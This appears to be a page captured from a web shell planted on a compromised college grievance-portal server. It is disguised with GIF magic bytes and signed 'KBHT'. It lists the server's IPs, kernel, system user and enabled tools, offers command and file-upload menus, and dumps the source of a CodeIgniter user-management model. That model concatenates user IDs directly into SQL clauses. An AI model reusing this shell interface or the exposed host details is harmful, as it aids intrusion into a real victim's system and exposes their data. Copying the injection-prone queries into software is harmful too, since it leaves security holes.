GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.133.108.47
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/sys_admin/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/sys_admin/application/models/admin/UserManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Users
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class UserManagement extends CI_Model {

    function __construct() {
        parent::__construct();
        $this->load->database();
    }

    function getTotalUsers() {
        $this->db->select("count(*) totalUsers");
        $this->db->from('college_admins_and_users');
        return $this->db->get();
    }

    function createNewUser(array $newUserInfo) {
        $this->db->insert('college_admins_and_users', $newUserInfo);
        return $this->db->insert_id();
    }

    function getUserInfoByMobileNumber($userMobile) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_mobile', $userMobile);
        return $this->db->get();
    }

    function getUserInfoByEmail($userEmail) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_email', $userEmail);
        return $this->db->get();
    }

    function getUserInfoBy($userId) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_id', $userId);
        return $this->db->get();
    }

    function getUserFullInfoById($userId, $userRole, $userType) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users CAU');
        $this->db->join('system_admin SA', 'CAU.cau_admin_opr_by = SA.sa_id');
        $this->db->join('college_mst CM', 'CAU.clg_id = CM.clg_id');
        if ($userType == 'S') {
            $this->db->join('course_mst CRSM', 'CAU.course_id = CRSM.course_id');
        }
        $this->db->where('CAU.cau_id', $userId);
        $this->db->where('CAU.cau_user_role_flag', $userRole);
        $this->db->where('CAU.cau_user_type_flag', $userType);
        return $this->db->get();
    }

    function getOnlyUsersFullInfo($userId) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users CAU');
        $this->db->join('college_mst CM', 'CAU.clg_id = CM.clg_id');
        $this->db->where('CAU.cau_id', $userId);
        $this->db->where('CAU.cau_user_role_flag', 'NA');
        $this->db->where("CAU.cau_user_type_flag IN ('S','P','N','F','NA')");
        $this->db->order_by('CAU.cau_signup_on desc');
        return $this->db->get();
    }

    function getOnlyGCellMgmtMembersFullInfo($userId) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users CAU');
        $this->db->join('college_mst CM', 'CAU.clg_id = CM.clg_id');
        $this->db->where('CAU.cau_id', $userId);
        $this->db->where("CAU.cau_user_role_flag IN ('GCM','MGMT')");
        $this->db->where("CAU.cau_user_type_flag", "NA");
        $this->db->order_by('CAU.cau_signup_on desc');
        return $this->db->get();
    }

    function getAllUsers($userType = '', $userRole = '') {
        $this->db->select('*');
        $this->db->from('college_admins_and_users CAU');
        $this->db->join('college_mst CLGM', 'CAU.clg_id=CLGM.clg_id');
        if ($userType != '' && $userRole != '') {
            $this->db->where('CAU.cau_user_type_flag', $userType);
            $this->db->where('CAU.cau_user_role_flag', $userRole);
        } else if ($userType != '' && $userRole == '') {
            $this->db->where('CAU.cau_user_type_flag', $userType);
        } else if ($userType == '' && $userRole != '') {
            $this->db->where('CAU.cau_user_role_flag', $userRole);
        } else {
            $this->db->where("CAU.cau_user_role_flag", 'NA');
            $this->db->where("CAU.cau_user_type_flag IN ('S','P','N','F','NA')");
        }
        $this->db->order_by('CAU.cau_signup_on desc');
        return $this->db->get();
    }

    function updateUserInfo(array $userUpdatedInfo) {
        $this->db->where('cau_id', $userUpdatedInfo['cau_id']);
        return $this->db->update('college_admins_and_users', $userUpdatedInfo);
    }

    function isEmailSafeUpdateForUser($userId, $requestedEmail) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_email', $requestedEmail);
        $this->db->where('cau_id != ' . $userId);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isMobileSafeUpdateForUser($userId, $requestedMobile) {
        $this->db->select("*");
        $this->db->from('college_admins_and_users');
        $this->db->where('cau_mobile', $requestedMobile);
        $this->db->where('cau_id != ' . $userId);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

}

KBHT - 2023